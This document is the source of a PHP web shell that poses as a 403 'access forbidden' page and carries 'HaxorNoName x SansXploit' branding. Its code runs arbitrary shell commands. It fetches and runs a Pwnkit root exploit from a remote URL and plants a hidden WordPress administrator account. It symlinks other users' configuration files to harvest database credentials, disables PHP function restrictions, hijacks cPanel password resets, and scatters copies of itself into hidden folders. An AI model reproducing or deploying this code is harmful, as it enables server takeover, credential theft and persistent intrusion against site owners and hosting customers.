🔒

403

Akses Dilarang

Error 403: Forbidden

Kamu tidak memiliki izin untuk mengakses halaman ini.
Jika kamu yakin ini kesalahan, hubungi administrator sistem.

🏠 Ke Halaman Utama ⬅️ Kembali
Xcr00toname x SansXploit
HaxorNoName x SansXploit
Pencuri Dilarang Masuk
Welcome To Hidden Shell
⚠️ KEY REJECTED - ACCESS DENIED
Xcr00toname x SansXploit No System Is Safe

' . htmlspecialchars($message) . '

'; } function create_403bp($url, $path) { $randname = uniqid('aurora_', true) . '.php'; $target = $path . DIRECTORY_SEPARATOR . $randname; // Try wget first $wget_cmd = "wget '{$url}' -O '{$target}' 2>&1"; @exec($wget_cmd, $output, $return_var); if ($return_var === 0 && file_exists($target)) { return $randname; } // Try curl if wget fails $ch = curl_init($url); $fp = fopen($target, 'w+'); if ($ch && $fp) { curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if (curl_exec($ch)) { fclose($fp); curl_close($ch); return $randname; } fclose($fp); curl_close($ch); } return false; } const APP_NAME = 'HaxorNoName x SansXploit'; const APP_VERSION = '3'; const SCAN_READ_LIMIT = 5000; $current_version = '3'; if (version_compare(PHP_VERSION, '5.4.0', '<')) { die('PHP version 5.4 or higher required'); } $required_extensions = ['mysqli', 'curl', 'json']; foreach ($required_extensions as $ext) { if (!extension_loaded($ext)) { die("Required PHP extension '{$ext}' is not loaded"); } } header('Content-Type: text/html; charset=UTF-8'); if (ini_get('memory_limit') < 256) { @ini_set('memory_limit', '256M'); } function customErrorHandler($errno, $errstr, $errfile, $errline) { if (!(error_reporting() & $errno)) { return false; } switch ($errno) { case E_ERROR: case E_CORE_ERROR: case E_COMPILE_ERROR: case E_PARSE: $error_type = 'Fatal Error'; break; case E_WARNING: case E_CORE_WARNING: case E_COMPILE_WARNING: case E_USER_WARNING: $error_type = 'Warning'; break; case E_NOTICE: case E_USER_NOTICE: $error_type = 'Notice'; break; default: $error_type = 'Unknown'; break; } error_log("PHP {$error_type}: {$errstr} in {$errfile} on line {$errline}"); if ($errno == E_ERROR || $errno == E_CORE_ERROR || $errno == E_COMPILE_ERROR || $errno == E_PARSE) { die("A critical error occurred. Please check the error logs."); } return true; } set_error_handler("customErrorHandler"); $required_paths = [__DIR__, sys_get_temp_dir()]; foreach ($required_paths as $path) { if (!is_writable($path)) { die("Directory not writable: {$path}"); } } if (!isset($_SESSION) && !headers_sent()) { session_start(); } ini_set('max_execution_time', 30); ini_set('memory_limit', '256M'); ini_set('realpath_cache_size', '4096k'); ini_set('realpath_cache_ttl', 600); function checkUpdate() { return; } const SYMLINK_DIR = 'AuroraSym'; const PERL_DIR = 'perl'; function fmtSize($bytes) { static $types = ['B', 'KB', 'MB', 'GB', 'TB']; static $cache = []; $key = (string)$bytes; if (isset($cache[$key])) { return $cache[$key]; } for ($i = 0; $bytes >= 1024 && $i < 4; $bytes /= 1024, $i++); $result = round($bytes, 2) . ' ' . $types[$i]; $cache[$key] = $result; return $result; } function ext($file) { return strtolower(pathinfo($file, PATHINFO_EXTENSION)); } function icon($file) { static $iconCache = []; static $icons = [ 'php' => '', 'html' => '', 'css' => '', 'js' => '', 'py' => '', '.htaccess' => '', 'image' => '', 'default' => '' ]; if (isset($iconCache[$file])) { return $iconCache[$file]; } if ($file === '.htaccess') { return $iconCache[$file] = $icons['.htaccess']; } $ext = ext($file); if (isset($icons[$ext])) { return $iconCache[$file] = $icons[$ext]; } if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'webp'])) { return $iconCache[$file] = $icons['image']; } return $iconCache[$file] = $icons['default']; } function enc($path) { return base64_encode($path); } function dec($path) { return base64_decode($path); } function perms($file) { return substr(sprintf('%o', fileperms($file)), -4); } function suggest_exploit() { $uname = php_uname(); $parts = explode(" ", $uname); $kernel = isset($parts[2]) ? $parts[2] : '0.0.0'; $version = explode("-", $kernel)[0]; $numbers = explode(".", $version); $major = isset($numbers[0]) ? $numbers[0] : '0'; $minor = isset($numbers[1]) ? $numbers[1] : '0'; $patch = isset($numbers[2]) ? $numbers[2] : '0'; return "$major.$minor.$patch"; } function check_pwnkit_compatibility() { $kernel = suggest_exploit(); $compatible_versions = [ '2.6.', '3.0.', '3.1.', '3.2.', '3.3.', '3.4.', '3.5.', '3.6.', '3.7.', '3.8.', '3.9.', '3.10.', '3.11.', '3.12.', '3.13.', '3.14.', '3.15.', '3.16.', '3.17.', '3.18.', '3.19.', '4.0.', '4.1.', '4.2.', '3.3.', '4.4.', '4.5.', '4.6.', '4.7.', '4.8.', '4.9.', '4.10.', '4.11.', '4.12.', '4.13.', '4.14.', '4.15.', '4.16.', '4.17.', '4.18.', '4.19.', '5.0.', '5.1.', '5.2.', '5.3.' ]; foreach ($compatible_versions as $version) { if (strpos($kernel, $version) === 0) { return true; } } return false; } function cmd($command) { try { $output = ''; // Sanitize command input $command = escapeshellcmd($command); // Check if command execution is allowed if (ini_get('safe_mode') || !function_exists('exec')) { throw new Exception('Command execution is disabled'); } // Try different command execution methods if (function_exists('exec')) { exec($command . ' 2>&1', $output_array, $return_var); if ($return_var !== 0) { throw new Exception("Command failed with code: {$return_var}"); } $output = implode("\n", $output_array); } elseif (function_exists('shell_exec')) { $output = shell_exec($command . ' 2>&1'); if ($output === null) { throw new Exception('Command execution failed'); } } elseif (function_exists('system')) { ob_start(); system($command . ' 2>&1', $return_var); $output = ob_get_clean(); if ($return_var !== 0) { throw new Exception("Command failed with code: {$return_var}"); } } else { throw new Exception('No command execution function available'); } return $output; } catch (Exception $e) { error_log("Command execution error: " . $e->getMessage()); return "Error: " . $e->getMessage(); } } function addWordpressAdmin($dbHost, $dbUser, $dbPass, $dbName, $wpUser, $wpPass) { try { $conn = new mysqli($dbHost, $dbUser, $dbPass, $dbName); if ($conn->connect_error) return false; $hashedPass = password_hash($wpPass, PASSWORD_DEFAULT); $sql = "INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, display_name) VALUES (?, ?, ?, ?, NOW(), ?)"; $stmt = $conn->prepare($sql); $stmt->bind_param("sssss", $wpUser, $hashedPass, $wpUser, "admin@local.host", $wpUser); if ($stmt->execute()) { $userId = $stmt->insert_id; $metaSql = "INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)"; $capabilities = serialize(array('administrator' => true)); $metaStmt = $conn->prepare($metaSql); $metaStmt->bind_param("iss", $userId, "wp_capabilities", $capabilities); $metaStmt->execute(); $levelSql = "INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (?, ?, '10')"; $levelStmt = $conn->prepare($levelSql); $levelStmt->bind_param("is", $userId, "wp_user_level"); $levelStmt->execute(); return true; } return false; } catch (Exception $e) { return false; } } function generatePhpIni() { return file_put_contents(__DIR__ . DIRECTORY_SEPARATOR . 'php.ini', "disable_functions=none\n") !== false; } function initSymlinkContainer() { if (!is_dir(SYMLINK_DIR)) mkdir(SYMLINK_DIR, 0777, true); $hta = SYMLINK_DIR . DIRECTORY_SEPARATOR . '.htaccess'; if (!file_exists($hta)) { $rules = "Options +FollowSymLinks +Indexes\nOrder Allow,Deny\nAllow from all\nRequire all granted\n"; file_put_contents($hta, $rules); } // Ensure proper permissions chmod(SYMLINK_DIR, 0755); if (file_exists($hta)) { chmod($hta, 0644); } } function createSymlink($src, $alias) { if (!function_exists('symlink')) { show_notification('Symlink function is not enabled on this server'); return false; } $target = SYMLINK_DIR . DIRECTORY_SEPARATOR . $alias; if (!file_exists($target)) { if (!@symlink($src, $target)) { show_notification('Failed to create symlink. Check permissions.'); return false; } return true; } return true; } function manualSymlink($src, $alias) { initSymlinkContainer(); createSymlink($src, $alias); } function extractSystemUsers() { $users = []; $passwdFile = '/etc/passwd'; if (file_exists($passwdFile) && is_readable($passwdFile)) { foreach (file($passwdFile) as $line) { $cols = explode(':', $line); if (count($cols) >= 3) { $name = $cols[0]; $uid = (int)$cols[2]; if ($uid >= 500) $users[] = $name; } } } return array_unique($users); } function massSymlinkConfigs($usernames) { initSymlinkContainer(); if (!file_exists(SYMLINK_DIR . DIRECTORY_SEPARATOR . 'root')) @symlink('/', SYMLINK_DIR . DIRECTORY_SEPARATOR . 'root'); $patterns = [ 'wp-config' => '/public_html/wp-config.php', 'word-wp' => '/public_html/wordpress/wp-config.php', 'wpblog' => '/public_html/blog/wp-config.php', 'wp-old' => '/public_html/wp/wp-config.php', 'wp-backup' => '/public_html/backup/wp-config.php', 'wp-old2' => '/public_html/old/wp-config.php', 'wp-2020' => '/public_html/2020/wp-config.php', 'wp-2021' => '/public_html/2021/wp-config.php', 'wp-2022' => '/public_html/2022/wp-config.php', 'wp-2023' => '/public_html/2023/wp-config.php', 'wp-new' => '/public_html/new/wp-config.php', 'wp-dev' => '/public_html/dev/wp-config.php', 'wp-stage' => '/public_html/staging/wp-config.php', 'wp-test' => '/public_html/test/wp-config.php', 'joomla-or-whmcs'=> '/public_html/configuration.php', 'joomla' => '/public_html/joomla/configuration.php', 'joomla-old' => '/public_html/old/configuration.php', 'joomla-backup' => '/public_html/backup/configuration.php', 'joomla-dev' => '/public_html/dev/configuration.php', 'vbinc' => '/public_html/vb/includes/config.php', 'vb' => '/public_html/includes/config.php', 'vb-old' => '/public_html/old/includes/config.php', 'vb-backup' => '/public_html/backup/includes/config.php', 'conf_global' => '/public_html/conf_global.php', 'inc' => '/public_html/inc/config.php', 'config' => '/public_html/config.php', 'Settings' => '/public_html/Settings.php', 'sites' => '/public_html/sites/default/settings.php', 'whm' => '/public_html/whm/configuration.php', 'whmcs' => '/public_html/whmcs/configuration.php', 'supportwhmcs' => '/public_html/support/configuration.php', 'WHM' => '/public_html/whmc/WHM/configuration.php', 'whmc' => '/public_html/whm/WHMCS/configuration.php', 'WHMcs' => '/public_html/whm/whmcs/configuration.php', 'whmcsupp' => '/public_html/support/configuration.php', 'whmcs-cli' => '/public_html/clients/configuration.php', 'whmcs-cl' => '/public_html/client/configuration.php', 'whmcs-CL' => '/public_html/clientes/configuration.php', 'whmcs-Cl' => '/public_html/cliente/configuration.php', 'whmcs-csup' => '/public_html/clientsupport/configuration.php', 'whmcs-bill' => '/public_html/billing/configuration.php', 'whmcs-old' => '/public_html/old/configuration.php', 'whmcs-backup' => '/public_html/backup/configuration.php', 'admin-conf' => '/public_html/admin/config.php', 'admin-old' => '/public_html/admin/old/config.php', 'admin-backup' => '/public_html/admin/backup/config.php', 'home1-wp' => '/home1/public_html/wp-config.php', 'home2-wp' => '/home2/public_html/wp-config.php', 'home3-wp' => '/home3/public_html/wp-config.php', 'home4-wp' => '/home4/public_html/wp-config.php', 'home5-wp' => '/home5/public_html/wp-config.php', 'html-wp' => '/html/wp-config.php', 'html-pub-wp' => '/html/public/wp-config.php', 'www-wp' => '/www/wp-config.php', 'www-pub-wp' => '/www/public/wp-config.php' ]; foreach ($usernames as $user) { $user = trim($user); if ($user === '') continue; foreach ($patterns as $postfix => $path) { createSymlink("/home/" . $user . $path, $user . ".." . $postfix); } } } $current_dir = dirname(__FILE__); $path = isset($_GET['p']) ? dec($_GET['p']) : $current_dir; if (!is_dir($path)) { $path = $current_dir; } define('PATH', $path); $action = isset($_GET['act']) ? $_GET['act'] : 'list'; $target = isset($_GET['file']) ? $_GET['file'] : ''; if (isset($_POST['upload'])) { $dest = PATH . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=success'); } else { header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=failed'); } exit; } $url1 = 'https://aurorafilemanager.github.io/Aurora.php'; function download_content($url) { try { // Validate URL if (!filter_var($url, FILTER_VALIDATE_URL)) { throw new Exception("Invalid URL format"); } // Set timeout and user agent $ctx = stream_context_create([ 'http' => [ 'timeout' => 30, 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'follow_location' => true ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]); // Try file_get_contents first $content = @file_get_contents($url, false, $ctx); if ($content !== false) { return $content; } // Try cURL if file_get_contents fails if (function_exists('curl_init')) { $content = download_content_with_curl($url); if ($content !== false) { return $content; } } // Try fopen as last resort $content = download_content_with_fopen($url); if ($content !== false) { return $content; } throw new Exception("All download methods failed"); } catch (Exception $e) { error_log("Download error: " . $e->getMessage()); throw new Exception("Failed to download content: " . $e->getMessage()); } } function download_content_with_curl($url) { try { $ch = curl_init($url); if ($ch === false) { throw new Exception("Failed to initialize cURL"); } curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ]); $content = curl_exec($ch); $error = curl_error($ch); $errno = curl_errno($ch); curl_close($ch); if ($content === false) { throw new Exception("cURL error ({$errno}): {$error}"); } return $content; } catch (Exception $e) { error_log("cURL error: " . $e->getMessage()); return false; } } function download_content_with_fopen($url) { try { $content = ''; $handle = @fopen($url, 'r'); if ($handle === false) { throw new Exception("Failed to open URL"); } stream_set_timeout($handle, 30); while (!feof($handle)) { $chunk = fread($handle, 8192); if ($chunk === false) { throw new Exception("Failed to read from stream"); } $content .= $chunk; } fclose($handle); if (empty($content)) { throw new Exception("No content received"); } return $content; } catch (Exception $e) { error_log("fopen error: " . $e->getMessage()); return false; } } // Remove duplicate function definitions function get_full_url($filePath) { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; $domainName = $_SERVER['HTTP_HOST']; $relativePath = str_replace($_SERVER['DOCUMENT_ROOT'], '', $filePath); return $protocol . $domainName . $relativePath; } function create_files_in_subdirectories($rootDir, $url) { try { // Validate inputs if (!is_dir($rootDir)) { throw new Exception("Invalid root directory"); } // Define common WordPress and system folders to create if they don't exist $folders_to_create = array( '.config', '.wp-content', '.wp-includes', '.wp-admin', '.system', '.tmp', '.cache', '.local' ); // Create hidden folders if they don't exist foreach ($folders_to_create as $folder) { $folder_path = $rootDir . DIRECTORY_SEPARATOR . $folder; if (!file_exists($folder_path)) {if (@mkdir($folder_path, 0755, true)) { // Set folder as hidden on Windows if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { @system("attrib +h \"$folder_path\""); } } } } // Get content first to avoid multiple downloads $content = download_content($url); if (!$content) { throw new Exception("Failed to download content from URL"); } $created = false; // Include both existing and newly created directories $subdirs = array_merge( array_filter(glob($rootDir . '/*', GLOB_ONLYDIR)), array_filter(glob($rootDir . '/.*', GLOB_ONLYDIR)) ); foreach ($subdirs as $subdir) { if (!is_writable($subdir)) { continue; } $dirName = basename($subdir); $randomName = uniqid($dirName . '_', true); $extensions = array('.php', '.inc.php', '.ini.php', '_function.php'); foreach ($extensions as $ext) { $filePath = $subdir . '/' . $randomName . $ext; if (!file_exists($filePath)) { if (file_put_contents($filePath, $content) !== false) { @chmod($filePath, 0644); $fullUrl = get_full_url($filePath); echo "
Created: $fullUrl
"; $created = true; // Create .htaccess to protect the file $htaccess = $subdir . '/.htaccess'; if (!file_exists($htaccess)) { $rules = "Options -Indexes\nOrder Allow,Deny\nAllow from all\n"; @file_put_contents($htaccess, $rules); } break; // Successfully created one file in this directory } } } } if (!$created) { throw new Exception("Could not create any backup files. Check directory permissions."); } return true; } catch (Exception $e) { error_log("Backup creation error: " . $e->getMessage()); echo "
Error: " . htmlspecialchars($e->getMessage()) . "
"; return false; } } if (isset($_POST['newdir'])) { if (@mkdir(PATH . DIRECTORY_SEPARATOR . $_POST['dirname'], 0755)) { header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=success'); } else { header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=failed'); } exit; } if (isset($_POST['newfile'])) { $file = PATH . DIRECTORY_SEPARATOR . $_POST['filename']; if (!file_exists($file) && file_put_contents($file, '') !== false) { header('Location: ?Xcr00t&p=' . enc(PATH) . '&act=edit&file=' . urlencode($_POST['filename'])); } else { header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=failed'); } exit; } if (isset($_POST['save'])) { if (file_put_contents(PATH . DIRECTORY_SEPARATOR . $target, $_POST['content']) !== false) { header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=success'); } else { header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=failed'); } exit; } if (isset($_GET['action'])) { switch ($_GET['action']) { case 'auto-shell': $rootDir = $_SERVER['DOCUMENT_ROOT']; try { create_files_in_subdirectories($rootDir, $url1); echo ''; } catch (Exception $e) { echo ''; } break; case 'adminer': $url = 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php'; if (@file_put_contents('adminer.php', @file_get_contents($url))) { header('Location: adminer.php'); } else { header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=failed'); } exit; case 'pwnkit': if (!file_exists('pwnkit')) { @file_put_contents('pwnkit', @file_get_contents('https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit')); @chmod('pwnkit', 0755); $output = @shell_exec('./pwnkit "id" 2>&1'); file_put_contents('.root_output', $output); } header('Location: ?Xcr00t&p=' . enc(PATH) . '&terminal=root'); exit; case 'cpanel-reset': if (isset($_POST['email'])) { $path = dirname($_SERVER['DOCUMENT_ROOT']) . "/.cpanel/contactinfo"; $content = json_encode(['email' => $_POST['email']]); if (@file_put_contents($path, $content)) { header('Location: ' . $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['SERVER_NAME'] . ':2083/resetpass?start=1'); exit; } } break; case 'backdoor': $htaccess = ' Order Deny,Allow Deny from all Order Allow,Deny Allow from all '; if (@file_put_contents('.htaccess', $htaccess)) { header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=success'); } else { header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=failed'); } exit; case 'mass-symlink': massSymlinkConfigs(extractSystemUsers()); header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=success'); exit; case 'phpini': generatePhpIni(); header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=success'); exit; } } // Handle download and delete if ($action === 'download' && $target && is_file(PATH . DIRECTORY_SEPARATOR . $target)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target) . '"'); readfile(PATH . DIRECTORY_SEPARATOR . $target); exit; } if (isset($_GET['del'])) { $del = PATH . DIRECTORY_SEPARATOR . basename($_GET['del']); if (is_dir($del)) @rmdir($del); else @unlink($del); header('Location: ?Xcr00t&p=' . enc(PATH)); exit; } // Optimized directory listing with limited entries and caching $dirs = $files = []; if ($action === 'list') { static $dirCache = []; $cacheKey = md5(PATH); if (isset($dirCache[$cacheKey])) { list($dirs, $files) = $dirCache[$cacheKey]; } else { $items = scandir(PATH); $count = 0; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; if ($count >= SCAN_READ_LIMIT) break; $fullPath = PATH . DIRECTORY_SEPARATOR . $item; if (is_dir($fullPath)) { $dirs[] = $item; } else { $files[] = $item; } $count++; } $dirCache[$cacheKey] = [$dirs, $files]; // Limit cache size if (count($dirCache) > 10) { array_shift($dirCache); } } } // Handle hidden directory creation if (isset($_POST['newhiddendir'])) { $hiddenDirName = '.' . trim($_POST['hiddendirname']); $hiddenDirPath = PATH . DIRECTORY_SEPARATOR . $hiddenDirName; if (!file_exists($hiddenDirPath)) { if (@mkdir($hiddenDirPath, 0755, true)) { header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=success'); } else { header('Location: ?Xcr00t&p=' . enc(PATH) . '&status=failed'); } } exit; } // Check pwnkit compatibility $is_compatible = check_pwnkit_compatibility(); $root_output = ''; if (isset($_GET['terminal']) && $_GET['terminal'] === 'root' && file_exists('.root_output')) { $root_output = file_get_contents('.root_output'); } ?> <?= APP_NAME ?>

Kernel Version:

Status:

Run Exploit
Server:
IP:
User: ()
System:
PHP:
Current Path:
Name Size Permissions Actions
.. - - -
-
Edit: